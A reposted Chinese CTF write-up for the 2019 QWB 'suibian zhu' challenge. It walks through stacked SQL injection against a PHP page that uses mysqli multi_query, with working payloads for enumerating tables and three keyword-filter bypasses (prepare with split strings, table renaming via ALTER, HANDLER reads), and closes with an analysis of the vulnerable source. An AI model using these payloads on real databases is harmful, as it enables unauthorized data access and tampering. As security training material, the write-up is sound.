[CTF记录_强网杯 2019]随便注(三种方法)

网友投稿 398 2022-10-01


[CTF记录_强网杯 2019]随便注(三种方法)

做题思路

select * from words where id='$inject';

构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可先列出所有数据库:

1';show databases;

得到:

array(1) { [0]=> string(11) "ctftraining"}array(1) { [0]=> string(18) "information_schema"}array(1) { [0]=> string(5) "mysql"}array(1) { [0]=> string(18) "performance_schema"}array(1) { [0]=> string(9) "supersqli"}array(1) { [0]=> string(4) "test"}

选择数据库:

1';use supersqli;#

查询supersqli库中的所有表:

1';show tables;#

得到:

array(1) { [0]=> string(16) "1919810931114514"}array(1) { [0]=> string(5) "words"}

查找​​1919810931114514​​表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显):

1';show columns from `1919810931114514`;#

得到:

array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) ""}

以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了​​select、update、delete、drop、insert、where​​

下面开始讲解获取​​flag​​的三种方法:1. 储存过程绕过(利用​​prepare​​语句):

1';set @a = CONCAT('se','lect * from `1919810931114514`;'); //字符串拼接

绕过​​select​​过滤

prepare flag from @a;EXECUTE flag;#

关于这种绕过方式可以参考: PDO场景下的SQL注入探究2. 重命名绕过(利用​​alter​​语句与​​rename​​语句):

1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

执行完上述请求再请求​​1' or 1=1#​​即可获得Flag3. ​​handler​​语句代替​​select​​查询:这个方法在​​GYCTF​​中本题的升级版(多过滤了​​prepare、set、rename​​,显然前两种方法都不适用)中亮相

1';handler `1919810931114514` open as ye; //同样的,这里的表名因为是纯数字所以需要用反引号包裹handler ye read first;handler ye close;# //注意:这里必须close handler才可以获取Flag

这里附上​​handler​​的用法:

HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE

​​​​E.g​​​​: 通过​​handler​​语句查询​​users​​表的内容:

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名handler yunensec read first; #读取指定表/句柄的首行数据handler yunensec read next; #读取指定表/句柄的下一行数据handler yunensec read next; #读取指定表/句柄的下一行数据...handler yunensec close; #关闭句柄

做完题之后分析一下源码:

easy_sql

取材于某次真实环境,只说一句话:开发和安全缺一不可

姿势:
multi_query($sql);    if ($res){      do{        if ($rs = $mysqli->store_result()){          while ($row = $rs->fetch_row()){            var_dump($row);            echo "
"; } $rs->Close(); if ($mysqli->more_results()){ echo "
"; } } }while($mysqli->next_result()); } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close();}?>

堆叠注入的成因在这里:

$res = $mysqli->multi_query($sql);

这里的​​multi_query()​​可以执行一条或多条sql语句,从而导致了堆叠注入的产生。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:完整电影售票管理系统基于java springboot + mybatis实现
下一篇:防火墙基础之单臂路由和DHCP接口地址池的配置
相关文章

 发表评论

评论列表